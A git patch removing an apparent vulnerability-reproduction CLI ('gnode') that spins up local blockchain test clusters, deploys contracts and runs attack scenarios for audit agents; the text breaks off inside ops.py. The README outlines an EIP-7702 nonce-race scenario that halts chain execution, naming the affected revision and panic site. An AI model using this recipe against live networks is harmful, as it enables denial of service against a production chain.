From 20b86144ffa7aa197f3112a05d3399057a09b825 Mon Sep 17 00:00:00 2001 From: keanji-x Date: Fri, 24 Jul 2026 16:10:03 +0800 Subject: [PATCH] security: relocate gnode attack/PoC tooling to a private repo MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 移除 tools/gnode。集群攻击/PoC 工具(端到端攻击场景 + PoC 复现 harness)不宜 留在公开仓库,现迁往私有的审计工具库,与既有审计工具链并列归属。 Supersedes #795(其内容并入私有库)。 Co-Authored-By: Claude Opus 4.8 (1M context) --- tools/gnode/README.md | 73 --- tools/gnode/gnode | 65 --- tools/gnode/gnodelib/__init__.py | 1 - tools/gnode/gnodelib/cli.py | 200 -------- tools/gnode/gnodelib/env.py | 195 -------- tools/gnode/gnodelib/ops.py | 467 ------------------ tools/gnode/gnodelib/scenarios/__init__.py | 1 - tools/gnode/gnodelib/scenarios/_common.py | 38 -- .../gnodelib/scenarios/accesslist_probe.py | 100 ---- tools/gnode/gnodelib/scenarios/halt_7702.py | 219 -------- tools/gnode/gnodelib/scenarios/registry.py | 65 --- .../gnode/gnodelib/scenarios/revert_probe.py | 93 ---- tools/gnode/gnodelib/verdict.py | 94 ---- tools/gnode/presets/1node/cluster.toml | 28 -- tools/gnode/presets/1node/genesis.toml | 79 --- tools/gnode/presets/prague/cluster.toml | 27 - tools/gnode/presets/prague/genesis.toml | 87 ---- 17 files changed, 1832 deletions(-) delete mode 100644 tools/gnode/README.md delete mode 100755 tools/gnode/gnode delete mode 100644 tools/gnode/gnodelib/__init__.py delete mode 100644 tools/gnode/gnodelib/cli.py delete mode 100644 tools/gnode/gnodelib/env.py delete mode 100644 tools/gnode/gnodelib/ops.py delete mode 100644 tools/gnode/gnodelib/scenarios/__init__.py delete mode 100644 tools/gnode/gnodelib/scenarios/_common.py delete mode 100644 tools/gnode/gnodelib/scenarios/accesslist_probe.py delete mode 100644 tools/gnode/gnodelib/scenarios/halt_7702.py delete mode 100644 tools/gnode/gnodelib/scenarios/registry.py delete mode 100644 tools/gnode/gnodelib/scenarios/revert_probe.py delete mode 100644 tools/gnode/gnodelib/verdict.py delete mode 100644 tools/gnode/presets/1node/cluster.toml delete mode 100644 tools/gnode/presets/1node/genesis.toml delete mode 100644 tools/gnode/presets/prague/cluster.toml delete mode 100644 tools/gnode/presets/prague/genesis.toml diff --git a/tools/gnode/README.md b/tools/gnode/README.md deleted file mode 100644 index da80977b..00000000 --- a/tools/gnode/README.md +++ /dev/null @@ -1,73 +0,0 @@ -# gnode —— Gravity 集群端到端攻击/PoC 工具 - -薄包装 CLI,站在 `gravity-sdk/cluster`(集群编排脚本)+ `gravity_e2e`(web3 工具)之上, -让人 / AI 审计 agent 能「拉起真集群 → 部署合约、发交易、打攻击、抓日志」,把已审出的漏洞 -变成一键复现的 `gnode attack`。供 Coacker 审计 agent 在沙箱里 shell 调用。 - -## 依赖 / 环境 -- 已构建 `gravity_node` / `gravity_cli`(`target/quick-release/`);缺失时 `gnode up` 会自动 cargo build。 -- `just`(`~/.cargo/bin`)、`forge`(`~/.foundry/bin`)—— gnode 启动器自动补 PATH。 -- Python:`web3>=7`、`eth-account>=0.13.6`(7702)。 -- **本地 RPC 必须绕过 http_proxy** —— gnode 自动设 `NO_PROXY=127.0.0.1,localhost`。 - -## 集群档位(preset) -gnode 自持配置在 `presets//`,base_dir / 端口独立,避免与他人共享 `/tmp` 冲突: - -| preset | RPC 端口 | base_dir | EIP-7702 | -|---------|---------|---------------------|----------| -| `1node` | 8645 | `/tmp/gnode-1node` | 否 | -| `prague`| 8647 | `/tmp/gnode-prague` | 是(7702-halt 必需)| - -### 多实例并发隔离(instance) -并发审计时,多个 agent 各自起集群会抢同一个 base_dir/端口。用 `--instance N`(或环境变量 -`GNODE_INSTANCE`)隔离:instance N 的所有端口 = 基准 + N*100、base_dir 带 `-N` 后缀。**所有 instance -共享同一份 genesis+identity**(单验证者节点不校验对端口,实测可行),所以只有 instance 首次不存在时 -才 deploy+start,genesis 只生成一次 → 每个 instance 都很快。 - -- `gnode up --preset prague`(不带 --instance 且未设 GNODE_INSTANCE)→ **自动分配**空闲实例,打印 `inst=N`。 -- 之后对该实例的所有命令带 `--instance N`(或让 Coacker 给每个 agent 预设 `GNODE_INSTANCE`)。 -- `gnode status`(不带参数)列出所有 preset 下**已存在 base_dir 的实例**及其存活/区块。 -- 攻击某个 instance 只打停它自己,不影响其它 instance(已验证)。 - -## 命令 -```bash -gnode up --preset 1node|prague [--fresh] # 拉起集群(--fresh 重新 genesis) -gnode down --preset prague # 停止 -gnode status --preset prague # 存活 / RPC / 区块高度 -gnode logs --preset prague --which reth|consensus|debug [-f] [-n N] -gnode state --preset prague # balance/nonce/code + halt 探测 -gnode deploy [--args '[..]'] --preset prague # 部署合约({abi,bytecode} 或纯 bytecode;--args 传构造参数,需 abi) -gnode send [--no-wait] --preset prague # 发交易;tx.json 见 `gnode send --help` - # 支持 type 0/1/2/4(含 7702 自动签名授权)、raw、gasPrice、accessList -gnode attack --preset prague # 跑攻击场景 -gnode scenarios # 列出内置场景 -``` - -`status` 不带 `--preset` 时列出**所有**档位状态(避免默认档位让人误以为集群没起)。 - -判定:`attack` 自动区分 **halt**(出块停摆)/ **panic**(进程崩)/ **revert**(交易回滚但链活)/ -**alive**(无恙)/ **inconclusive**(注入未同块按序,竞争未成形,应重试)/ **error**(环境未就绪等)。 - -**退出码约定**(agent/脚本可据此判定): -| 退出码 | 含义 | -|-------|------| -| 3 | 命中:链停摆(halt / panic)| -| 0 | 链存活(alive / revert)/ 一般成功 | -| 2 | 结论不成立(attack inconclusive)/ 命令用法错误(argparse)/ state 集群不可达 | -| 1 | 出错(error verdict、非法输入、未捕获异常等)| - -任何子命令遇到异常都会打印一行 `[gnode] error: ...` 到 stderr 并退出码 1,不会甩 Python traceback。 - -## 内置攻击场景 -- **7702-halt**(`--preset prague`):EOA 委托到含 CREATE 的合约,跨发送者同块 nonce 竞争 - (faucet→A 触发委托码 CREATE 抬升 A.nonce,令 A 自己 nonce=N 的在途交易在执行时 NonceTooLow), - 打停执行 pipe。已确认在 gravity-reth rev e75679c 上真链停 - (panic @ `pipe-exec-layer-ext-v2/execute/src/lib.rs:1328`,`NonceTooLow{tx,state}`)。 - -新增场景:在 `gnodelib/scenarios/` 加模块并在 `registry.py` 注册。 - -## Coacker 集成 -- 沙箱 allowlist 默认含 `gnode`(`packages/backend/src/sandbox.ts`)。 -- `gnode` 已软链到 `~/.local/bin/gnode`(在 PATH 上),沙箱 `shell:false` 可直接 spawn。 -- attacker(红队)prompt 里已告知 agent 可用 gnode 做 execution/consensus 层端到端复现 - (`packages/brain/src/audit/prompts.ts` 的 `ATTACKER_GNODE`)。 diff --git a/tools/gnode/gnode b/tools/gnode/gnode deleted file mode 100755 index 1391555c..00000000 --- a/tools/gnode/gnode +++ /dev/null @@ -1,65 +0,0 @@ -#!/usr/bin/env python3 -"""gnode —— Gravity 集群端到端攻击/PoC 工具(供 Coacker 审计 agent 沙箱调用)。 - -薄包装:站在 gravity-sdk/cluster(集群编排脚本)+ gravity_e2e(web3 工具)之上, -不重造轮子。用法: - - gnode up [--nodes 1|3] # 拉起本地集群(默认 1_node 快速档) - gnode down [--nodes 1|3] # 停止集群 - gnode status # 各节点存活 / RPC / 区块高度 - gnode logs [--follow] [--which reth|consensus|debug] - gnode state # 查 balance/nonce/code + 节点 halt 检测 - gnode deploy # 复用 web3 部署合约({abi,bytecode} 或纯 bytecode) - gnode send # 发一笔交易(from/to/value/data/nonce/... 规格) - gnode attack # 端到端攻击场景(先落 7702-halt) - gnode scenarios # 列出内置攻击场景 -""" -import os -import sys -import warnings -from pathlib import Path - -# 压掉 urllib3/chardet 版本不匹配的噪声警告,保证工具输出干净(agent 会解析 stdout) -warnings.filterwarnings("ignore") - -_GNODE_DIR = Path(__file__).resolve().parent -_GSDK_ROOT = _GNODE_DIR.parent.parent -_E2E_DIR = _GSDK_ROOT / "gravity_e2e" - -# 让 gravity_e2e 包 + gnodelib 可被 import(无论从哪个 cwd 调用) -for _p in (str(_E2E_DIR), str(_GNODE_DIR)): - if _p not in sys.path: - sys.path.insert(0, _p) - - -def _ensure_no_proxy() -> None: - """本地 RPC 必须绕过 http_proxy,否则命中代理返回 502。""" - for var in ("NO_PROXY", "no_proxy"): - cur = os.environ.get(var, "") - need = ["127.0.0.1", "localhost"] - have = [x.strip() for x in cur.split(",") if x.strip()] - for h in need: - if h not in have: - have.append(h) - os.environ[var] = ",".join(have) - - -def _ensure_path() -> None: - """保证 just / forge / cast 在 PATH(它们装在 ~/.cargo/bin、~/.foundry/bin)。""" - home = os.path.expanduser("~") - extra = [f"{home}/.cargo/bin", f"{home}/.foundry/bin"] - path = os.environ.get("PATH", "") - parts = path.split(":") - for e in reversed(extra): - if e not in parts: - path = e + ":" + path - os.environ["PATH"] = path - - -_ensure_no_proxy() -_ensure_path() - -from gnodelib.cli import main # noqa: E402 - -if __name__ == "__main__": - sys.exit(main(sys.argv[1:])) diff --git a/tools/gnode/gnodelib/__init__.py b/tools/gnode/gnodelib/__init__.py deleted file mode 100644 index b76613c9..00000000 --- a/tools/gnode/gnodelib/__init__.py +++ /dev/null @@ -1 +0,0 @@ -"""gnodelib —— gnode CLI 的实现库(薄包装 gravity-sdk/cluster + gravity_e2e)。""" diff --git a/tools/gnode/gnodelib/cli.py b/tools/gnode/gnodelib/cli.py deleted file mode 100644 index aebd9f37..00000000 --- a/tools/gnode/gnodelib/cli.py +++ /dev/null @@ -1,200 +0,0 @@ -"""gnode 命令行分发。""" -from __future__ import annotations - -import argparse -import json -import os -import sys - -from . import ops -from .scenarios import registry - - -def _add_preset(p: argparse.ArgumentParser, default: str = "1node") -> None: - p.add_argument( - "--preset", "--nodes", dest="preset", default=default, - help="集群档位(1node|prague,或数字 1=1node;默认 %(default)s。prague 启用 EIP-7702。" - "status 不带该参数时列出所有档位)", - ) - p.add_argument( - "--instance", dest="instance", default=os.environ.get("GNODE_INSTANCE"), - help="实例号(并发隔离:端口+N*100、base_dir 带 -N;缺省读 GNODE_INSTANCE," - "未设时 up 自动分配空闲号、其它命令用 0)。所有 instance 共享同一份 genesis。", - ) - - -def _inst(args, default=0): - v = getattr(args, "instance", None) - if v is None: - return default - return "auto" if str(v) == "auto" else int(v) - - -def build_parser() -> argparse.ArgumentParser: - p = argparse.ArgumentParser(prog="gnode", description="Gravity 集群端到端攻击/PoC 工具") - sub = p.add_subparsers(dest="cmd", required=True) - - up = sub.add_parser("up", help="拉起本地集群") - _add_preset(up) - up.add_argument("--fresh", action="store_true", help="清理 artifacts/base_dir 后重新 genesis") - - down = sub.add_parser("down", help="停止集群") - _add_preset(down) - - st = sub.add_parser("status", help="各节点存活/RPC/区块高度") - _add_preset(st) - - lg = sub.add_parser("logs", help="查看节点日志") - _add_preset(lg) - lg.add_argument("--which", choices=["reth", "consensus", "debug", "all"], default="reth") - lg.add_argument("--follow", "-f", action="store_true", help="持续跟随") - lg.add_argument("--lines", "-n", type=int, default=40) - - stt = sub.add_parser("state", help="查 balance/nonce/code + halt 探测") - _add_preset(stt) - stt.add_argument("addr", help="要查询的地址") - - dp = sub.add_parser( - "deploy", help="部署合约({abi,bytecode} 或纯 bytecode)", - epilog="artifact 文件可为:① {\"abi\":[...],\"bytecode\":\"0x..\"}(solc/forge 产物)" - "② 纯 bytecode 十六进制(.hex/.bin,带不带 0x 均可)。用 faucet 自动签名部署。", - ) - _add_preset(dp) - dp.add_argument("artifact", help="合约 artifact 文件路径") - dp.add_argument("--args", help="构造函数参数,JSON 数组,如 '[42,\"0xabc\"]'(需 artifact 带 abi)") - - sd = sub.add_parser( - "send", help="发一笔交易(tx.json 规格)", - epilog=( - "tx.json 字段(均可选,缺省用 faucet 签名):\n" - " to 目标地址(缺省=合约创建)\n" - " value wei(非负整数;十进制或 0x 十六进制字符串)\n" - " data calldata 十六进制\n" - " nonce 缺省=账户当前 nonce\n" - " gas 缺省=estimate*1.2\n" - " gasPrice 仅 type 0/1(legacy/access-list) 用;缺省自动取合理值\n" - " type 交易类型:2(EIP-1559,默认) / 0(legacy) / 1(access-list) / 4(EIP-7702 SetCode)\n" - " accessList type=1 的 access list\n" - " authorizationList type=4 的 7702 授权列表。条目可为:\n" - " 已签名 {chainId,address,nonce,yParity,r,s};或\n" - " 待签名 {delegate,signerKey,nonce?} —— 自动签,\n" - " self-sponsored 时 nonce 缺省=tx.nonce+1\n" - " raw 已签名的原始交易十六进制(给了它则忽略其他字段,直接广播)\n" - " privkey 自定义签名私钥(缺省=faucet)\n" - "示例: {\"to\":\"0x..dEaD\",\"value\":1000000000000000000}\n" - "7702示例: {\"type\":4,\"authorizationList\":[{\"delegate\":\"0x..T\",\"signerKey\":\"0x..\"}]}" - ), - formatter_class=argparse.RawDescriptionHelpFormatter, - ) - _add_preset(sd) - sd.add_argument("tx", help="交易规格 JSON 文件") - sd.add_argument("--no-wait", action="store_true", help="不等回执,发出即返回(用于同块/连发场景)") - - at = sub.add_parser("attack", help="运行内置攻击场景") - _add_preset(at, default="prague") - at.add_argument("scenario", help="场景名(见 gnode scenarios)") - at.add_argument("--json", action="store_true", help="仅输出 JSON 结果") - at.add_argument("--verbose", "-v", action="store_true", help="人类可读摘要后附完整 JSON") - at.add_argument("--param", action="append", default=[], metavar="K=V", help="场景参数,可重复(如 attempts=5)") - - sub.add_parser("scenarios", help="列出内置攻击场景") - - return p - - -def main(argv: list[str]) -> int: - args = build_parser().parse_args(argv) - - # 非法 --preset 属于用法错误 → 退出码 2(与 argparse 用法错误一致),在派发前统一校验 - if getattr(args, "preset", None) is not None: - from .env import PRESETS, NODE_ALIASES - name = args.preset - if str(name).isdigit(): - name = NODE_ALIASES.get(int(name), name) - if name not in PRESETS: - print(f"[gnode] error: 未知档位 '{args.preset}'(支持: {sorted(PRESETS)},或数字 " - f"{sorted(NODE_ALIASES)})", file=sys.stderr) - return 2 - - # 顶层兜底:任何子命令抛异常都转成一行干净的 stderr 提示 + 退出码 1, - # 而不是把 Python traceback 甩给用户/agent(好错误信息就在异常 message 里)。 - try: - return _dispatch(args, argv) - except (SystemExit, KeyboardInterrupt): - raise - except Exception as e: # noqa: BLE001 —— 面向 agent 的 CLI,任何异常都要给干净输出 - print(f"[gnode] error: {type(e).__name__}: {e}", file=sys.stderr) - return 1 - - -def _dispatch(args, argv: list[str]) -> int: - if args.cmd == "up": - # 未指定 instance 且未设 GNODE_INSTANCE → 自动分配空闲实例 - return ops.cmd_up(args.preset, instance=_inst(args, "auto"), fresh=args.fresh) - if args.cmd == "down": - return ops.cmd_down(args.preset, instance=_inst(args)) - if args.cmd == "status": - # 没显式指定档位时,列出所有 preset/instance 的状态(避免默认档让人误以为集群没起) - return ops.cmd_status(args.preset, instance=_inst(args), - show_all=("--preset" not in argv and "--nodes" not in argv)) - if args.cmd == "logs": - return ops.cmd_logs(args.preset, args.which, args.follow, args.lines, instance=_inst(args)) - if args.cmd == "state": - return ops.cmd_state(args.preset, args.addr, instance=_inst(args)) - if args.cmd == "deploy": - return ops.cmd_deploy(args.preset, args.artifact, args_json=args.args, instance=_inst(args)) - if args.cmd == "send": - return ops.cmd_send(args.preset, args.tx, no_wait=args.no_wait, instance=_inst(args)) - if args.cmd == "scenarios": - for name, desc in registry.list_scenarios(): - print(f"{name:<16} {desc}") - return 0 - if args.cmd == "attack": - # 未知场景属于用法错误 → 退出码 2(与坏 --preset 一致),输出保持 scenario 字段 - known = {n for n, _ in registry.list_scenarios()} - if args.scenario not in known: - result = {"scenario": args.scenario, "verdict": "error", - "detail": f"未知场景 '{args.scenario}'。可用: {', '.join(sorted(known))}"} - if args.json: - print(json.dumps(result, indent=2, ensure_ascii=False)) - else: - _print_attack_result(args.scenario, result, verbose=args.verbose) - return 2 - params = {} - for kv in args.param: - k, _, v = kv.partition("=") - params[k.strip()] = v.strip() - result = registry.run(args.scenario, preset=args.preset, instance=_inst(args), params=params) - if args.json: - print(json.dumps(result, indent=2, ensure_ascii=False)) - else: - _print_attack_result(args.scenario, result, verbose=args.verbose) - # 退出码给 agent/脚本明确信号:3=命中(halt/panic),0=链存活(alive/revert), - # 2=结论不成立(inconclusive)/用法错误,1=运行时出错(error) - verdict = result.get("verdict") - if result.get("usage_error"): # 参数用法错误归 2(与坏 --preset / 未知场景一致) - return 2 - return {"halt": 3, "panic": 3, "alive": 0, "revert": 0, - "inconclusive": 2, "error": 1}.get(verdict, 1) - - return 1 - - -def _print_attack_result(name: str, result: dict, *, verbose: bool = False) -> None: - print(f"=== attack: {name} ===") - verdict = result.get("verdict") - print(f"verdict : {verdict}") - if result.get("expected"): - # halt 与 panic 同属「链停摆」家族:expected=halt 时,verdict=panic(进程崩)也算命中 - stopped = {"halt", "panic"} - exp = result["expected"] - hit = verdict == exp or (exp in stopped and verdict in stopped) - print(f"expected: {exp} -> {'✅ 命中' if hit else '❌ 未命中(见 detail)'}") - if result.get("detail"): - print(f"detail : {result['detail']}") - for step in result.get("steps", []): - print(f" - {step}") - if verbose: - print(json.dumps(result, indent=2, ensure_ascii=False)) - else: - print("(完整结构化结果加 --json 或 -v 查看)") diff --git a/tools/gnode/gnodelib/env.py b/tools/gnode/gnodelib/env.py deleted file mode 100644 index c9728fd2..00000000 --- a/tools/gnode/gnodelib/env.py +++ /dev/null @@ -1,195 +0,0 @@ -"""路径 / 集群档位 / web3 工厂 / gas 估算 —— gnode 的运行环境层。 - -约定:所有 RPC 走本地节点,http_proxy 已在 gnode 启动器里绕过。 -""" -from __future__ import annotations - -import re -import socket -import tomllib -from dataclasses import dataclass -from pathlib import Path -from typing import Optional - -from eth_account import Account -from eth_account.signers.local import LocalAccount -from web3 import Web3 - -# ---- 关键路径(相对本文件推导,避免依赖 cwd)---- -_GNODELIB_DIR = Path(__file__).resolve().parent -GNODE_DIR = _GNODELIB_DIR.parent # tools/gnode -GSDK_ROOT = GNODE_DIR.parent.parent # gravity-sdk -CLUSTER_DIR = GSDK_ROOT / "cluster" -E2E_DIR = GSDK_ROOT / "gravity_e2e" -TARGET_DIR = GSDK_ROOT / "target" / "quick-release" -NODE_BIN = TARGET_DIR / "gravity_node" -CLI_BIN = TARGET_DIR / "gravity_cli" - -# gnode 自持的集群档位(配置在 tools/gnode/presets//,base_dir/端口独立,避免和他人共享 /tmp 冲突) -PRESETS_DIR = GNODE_DIR / "presets" -# 默认走 1node 快速档(“快速启动”优先);prague 档启用 EIP-7702(7702-halt 场景必需) -PRESETS = { - "1node": {"prague": False}, - "prague": {"prague": True}, -} -# --nodes 的数字别名(向后兼容;目前只有 1node,3node 档未接入) -NODE_ALIASES = {1: "1node"} - -# 多实例隔离:instance N 的所有端口 = 基准端口 + N*STRIDE,base_dir 带 -N 后缀。 -# 所有 instance 共享同一份 genesis+identity(单验证者节点不校验对端口,实测可行), -# 因此只有 instance 首次不存在时 deploy+start,genesis 只生成一次 → 每个 instance 都很快。 -PORT_STRIDE = 100 -MAX_INSTANCES = 32 -GNODE_WORK = Path("/tmp/gnode-work") # 每个 instance 的物化 cluster.toml 放这里 -_PORT_KEYS = ["validator_port", "vfn_port", "rpc_port", "metrics_port", - "inspection_port", "https_port", "authrpc_port", "reth_p2p_port"] - - -def _apply_port_offset(text: str, offset: int) -> str: - """把 cluster.toml 里各端口字段整体 +offset(只动已知端口键,避免误伤其它数字)。""" - if offset == 0: - return text - for k in _PORT_KEYS: - text = re.sub(rf"({k}\s*=\s*)(\d+)", lambda m: f"{m.group(1)}{int(m.group(2)) + offset}", text) - return text - - -def _port_free(port: int) -> bool: - with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: - return s.connect_ex(("127.0.0.1", port)) != 0 - -# genesis.toml 里的 faucet = Anvil dev #0,私钥公开可用(本地 devnet) -FAUCET_PRIVKEY = "0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80" - - -@dataclass -class ClusterPaths: - """一个集群档位的全部相关路径。""" - - name: str - preset_dir: Path - cluster_toml: Path - genesis_toml: Path - base_dir: Path - artifacts_dir: Path - chain_id: int - prague: bool = False - instance: int = 0 - - def node_ids(self) -> list[str]: - cfg = _load_toml(self.cluster_toml) - return [n["id"] for n in cfg.get("nodes", [])] - - def rpc_url(self, node_id: Optional[str] = None) -> str: - cfg = _load_toml(self.cluster_toml) - nodes = cfg.get("nodes", []) - node = nodes[0] if node_id is None else next(n for n in nodes if n["id"] == node_id) - host = node.get("host", "127.0.0.1") - return f"http://{host}:{node['rpc_port']}" - - def node_dir(self, node_id: str) -> Path: - return self.base_dir / node_id - - def log_files(self, node_id: str) -> dict[str, Path]: - d = self.node_dir(node_id) - return { - "reth": d / "execution_logs" / "dev" / "reth.log", - "consensus": d / "consensus_log" / "validator.log", - "debug": d / "logs" / "debug.log", - } - - def pid_file(self, node_id: str) -> Path: - return self.node_dir(node_id) / "script" / "node.pid" - - -def _load_toml(path: Path) -> dict: - with open(path, "rb") as f: - return tomllib.load(f) - - -def _preset_name(preset) -> str: - if isinstance(preset, int): - preset = NODE_ALIASES.get(preset, str(preset)) - name = str(preset) - if name.isdigit(): # argparse 传进来的 --nodes 是字符串,映射数字别名 - name = NODE_ALIASES.get(int(name), name) - if name not in PRESETS: - raise ValueError(f"未知档位 '{name}'(支持: {sorted(PRESETS)};4-validator docker 档暂未接入)") - return name - - -def resolve_cluster(preset, instance: int = 0) -> ClusterPaths: - """把档位名 + instance 号解析成 ClusterPaths。 - - instance 0 = 基准端口 + base_dir /tmp/gnode-;instance N = 端口 +N*STRIDE、 - base_dir /tmp/gnode--N。所有 instance 共享 preset 的 genesis+identity(artifacts/), - 只物化一份带偏移端口的 cluster.toml 到 /tmp/gnode-work/-N/。 - """ - name = _preset_name(preset) - if not (0 <= instance < MAX_INSTANCES): - raise ValueError(f"instance 需在 [0,{MAX_INSTANCES}) 内,得到 {instance}") - preset_dir = PRESETS_DIR / name - tmpl = preset_dir / "cluster.toml" - genesis_toml = preset_dir / "genesis.toml" - if not tmpl.exists(): - raise FileNotFoundError(f"cluster.toml 模板不存在: {tmpl}") - shared_artifacts = preset_dir / "artifacts" # genesis+identity 全 instance 共享 - - suffix = "" if instance == 0 else f"-{instance}" - base_dir = Path(f"/tmp/gnode-{name}{suffix}") - - # 物化本 instance 的 cluster.toml:偏移端口 + 独立 base_dir + genesis_source 指向共享 artifacts - text = _apply_port_offset(tmpl.read_text(), instance * PORT_STRIDE) - text = re.sub(r'base_dir\s*=\s*"[^"]*"', f'base_dir = "{base_dir}"', text) - text = re.sub(r'genesis_path\s*=\s*"[^"]*"', f'genesis_path = "{shared_artifacts}/genesis.json"', text) - text = re.sub(r'waypoint_path\s*=\s*"[^"]*"', f'waypoint_path = "{shared_artifacts}/waypoint.txt"', text) - work = GNODE_WORK / f"{name}-{instance}" - work.mkdir(parents=True, exist_ok=True) - cluster_toml = work / "cluster.toml" - cluster_toml.write_text(text) - - chain_id = 1337 - if genesis_toml.exists(): - chain_id = int(_load_toml(genesis_toml).get("genesis", {}).get("chain_id", 1337)) - return ClusterPaths( - name=name, - preset_dir=preset_dir, - cluster_toml=cluster_toml, - genesis_toml=genesis_toml, - base_dir=base_dir, - artifacts_dir=shared_artifacts, - chain_id=chain_id, - prague=PRESETS[name]["prague"], - instance=instance, - ) - - -def alloc_instance(preset) -> int: - """自动分配一个空闲 instance:base_dir 不存在且 RPC 端口空闲的最小号。""" - name = _preset_name(preset) - base_rpc = int(_load_toml(PRESETS_DIR / name / "cluster.toml")["nodes"][0]["rpc_port"]) - for i in range(MAX_INSTANCES): - suffix = "" if i == 0 else f"-{i}" - if not Path(f"/tmp/gnode-{name}{suffix}").exists() and _port_free(base_rpc + i * PORT_STRIDE): - return i - raise RuntimeError(f"没有空闲 instance(0..{MAX_INSTANCES} 都被占用)") - - -def make_web3(rpc_url: str, timeout: int = 15) -> Web3: - return Web3(Web3.HTTPProvider(rpc_url, request_kwargs={"timeout": timeout})) - - -def faucet_account() -> LocalAccount: - return Account.from_key(FAUCET_PRIVKEY) - - -def suggest_fees(w3: Web3, priority_gwei: int = 2) -> dict: - """基于最新区块 baseFee 给出 EIP-1559 gas 参数(genesis 设了 gravityMinBaseFee=50gwei)。""" - latest = w3.eth.get_block("latest") - base = latest.get("baseFeePerGas") or w3.to_wei(50, "gwei") - prio = w3.to_wei(priority_gwei, "gwei") - return { - "maxPriorityFeePerGas": prio, - # 2x baseFee 余量,避免高度推进后 baseFee 上浮导致 underpriced - "maxFeePerGas": base * 2 + prio, - } diff --git a/tools/gnode/gnodelib/ops.py b/tools/gnode/gnodelib/ops.py deleted file mode 100644 index e8b4f7de..00000000 --- a/tools/gnode/gnodelib/ops.py +++ /dev/null @@ -1,467 +0,0 @@ -"""集群生命周期 + 链上交互操作。 - -up/down/status/logs 包装 cluster/ 下的 shell 脚本(不重造编排); -state/deploy/send 用 web3 直连本地 RPC。 -""" -from __future__ import annotations - -import json -import os -import subprocess -import sys -import time -from pathlib import Path -from typing import Optional - -from eth_account import Account -from web3 import Web3 - -from .env import ( - CLUSTER_DIR, - NODE_BIN, - CLI_BIN, - GSDK_ROOT, - ClusterPaths, - faucet_account, - make_web3, - resolve_cluster, - suggest_fees, -) -from .verdict import probe_liveness - - -def log(msg: str) -> None: - print(f"[gnode] {msg}", file=sys.stderr, flush=True) - - -# ---------------------------------------------------------------------------- -# 底层:跑 cluster 脚本 / 进程存活 / RPC 等待 -# ---------------------------------------------------------------------------- - -def _run_script(script: str, args: list[str], *, env: Optional[dict] = None, check: bool = True) -> int: - """在 CLUSTER_DIR 下跑一个 bash 脚本,实时透传输出。""" - cmd = ["bash", script, *args] - log(f"运行: {script} {' '.join(str(a) for a in args)} (cwd={CLUSTER_DIR})") - proc = subprocess.run(cmd, cwd=str(CLUSTER_DIR), env=env or os.environ.copy(), stdin=subprocess.DEVNULL) - if check and proc.returncode != 0: - raise RuntimeError(f"脚本失败 ({proc.returncode}): {script} {args}") - return proc.returncode - - -def _script_env(cp: ClusterPaths) -> dict: - """cluster 脚本需要的环境:把 genesis 产物重定向到 preset 自己的 artifacts/。""" - env = os.environ.copy() - env["GRAVITY_ARTIFACTS_DIR"] = str(cp.artifacts_dir) - env["GENESIS_CONFIG_FILE"] = str(cp.genesis_toml) - return env - - -def _pid_alive(pid_file: Path) -> bool: - try: - pid = int(pid_file.read_text().strip()) - except Exception: - return False - try: - os.kill(pid, 0) - return True - except OSError: - return False - - -def _rpc_up(w3: Web3) -> bool: - try: - _ = w3.eth.block_number - return True - except Exception: - return False - - -def _require_rpc(cp: ClusterPaths, w3: Web3) -> Optional[int]: - """RPC 不可达时打印一致的友好提示并返回退出码 2;可达返回 None。 - 与 state/attack 的下机处理保持一致(deploy/send 也走这条,不再甩 urllib3 内部错误)。""" - if _rpc_up(w3): - return None - proc_up = _pid_alive(cp.pid_file(cp.node_ids()[0])) - print(json.dumps({ - "reachable": False, - "node_process": "up" if proc_up else "down", - "detail": (f"进程在但 RPC 无响应(疑似 halt),先 `gnode up --preset {cp.name} --fresh`" - if proc_up else f"节点未运行,先 `gnode up --preset {cp.name}`"), - }, indent=2, ensure_ascii=False)) - return 2 - - -def _wait_rpc(w3: Web3, timeout: int = 60) -> bool: - deadline = time.time() + timeout - while time.time() < deadline: - if _rpc_up(w3): - return True - time.sleep(1.0) - return False - - -def _ensure_binaries() -> None: - if NODE_BIN.exists() and CLI_BIN.exists(): - return - log("gravity_node / gravity_cli 未构建,开始 cargo build(首次很慢,会拉 reth/aptos 依赖)...") - env = os.environ.copy() - env["RUSTFLAGS"] = "--cfg tokio_unstable" - for binname in ("gravity_node", "gravity_cli"): - cmd = [ - "cargo", "build", "--manifest-path", str(GSDK_ROOT / "Cargo.toml"), - "--bin", binname, "--profile", "quick-release", - ] - log(f"运行: {' '.join(cmd)}") - if subprocess.run(cmd, env=env).returncode != 0: - raise RuntimeError(f"构建 {binname} 失败") - - -# ---------------------------------------------------------------------------- -# 命令实现 -# ---------------------------------------------------------------------------- - -def cmd_up(preset, *, instance: int = 0, fresh: bool = False) -> int: - from .env import alloc_instance - if instance == "auto" or instance is None: - instance = alloc_instance(preset) - log(f"自动分配 instance={instance}") - cp = resolve_cluster(preset, int(instance)) - w3 = make_web3(cp.rpc_url()) - env = _script_env(cp) - cfg = str(cp.cluster_toml) # 本 instance(偏移端口/独立 base_dir) - tmpl_cfg = str(cp.preset_dir / "cluster.toml") # 模板(genesis.toml 同目录)供 init/genesis - gen = str(cp.genesis_toml) - - node_ids = cp.node_ids() - already = all(_pid_alive(cp.pid_file(nid)) for nid in node_ids) and _rpc_up(w3) - if already and not fresh: - log(f"集群已在运行({cp.name} inst={cp.instance}, base_dir={cp.base_dir}),RPC={cp.rpc_url()} block={w3.eth.block_number}") - return 0 - - _ensure_binaries() - genesis_json = cp.artifacts_dir / "genesis.json" - identity = cp.artifacts_dir / node_ids[0] / "config" / "identity.yaml" - - _run_script("stop.sh", ["--config", cfg], env=env, check=False) # 停本 instance 旧进程 - subprocess.run(["rm", "-rf", str(cp.base_dir)]) # 只清本 instance base_dir - if fresh and cp.instance == 0: - # 共享 genesis 由 instance 0 “拥有”,--fresh 才重建;instance>0 的 --fresh 不动共享 genesis - log("--fresh (instance 0):清理共享 artifacts,重新 genesis") - subprocess.run(["rm", "-rf", str(cp.artifacts_dir)]) - elif fresh: - log(f"--fresh (instance {cp.instance}):只重置本实例 base_dir,共享 genesis 保留") - - # 共享 genesis/identity 只生成一次(用模板配置,端口无关);多 instance 复用 - if not identity.exists(): - _run_script("init.sh", [tmpl_cfg], env=env) - if not genesis_json.exists(): - _run_script("genesis.sh", [gen], env=env) - _run_script("deploy.sh", [cfg], env=env) - 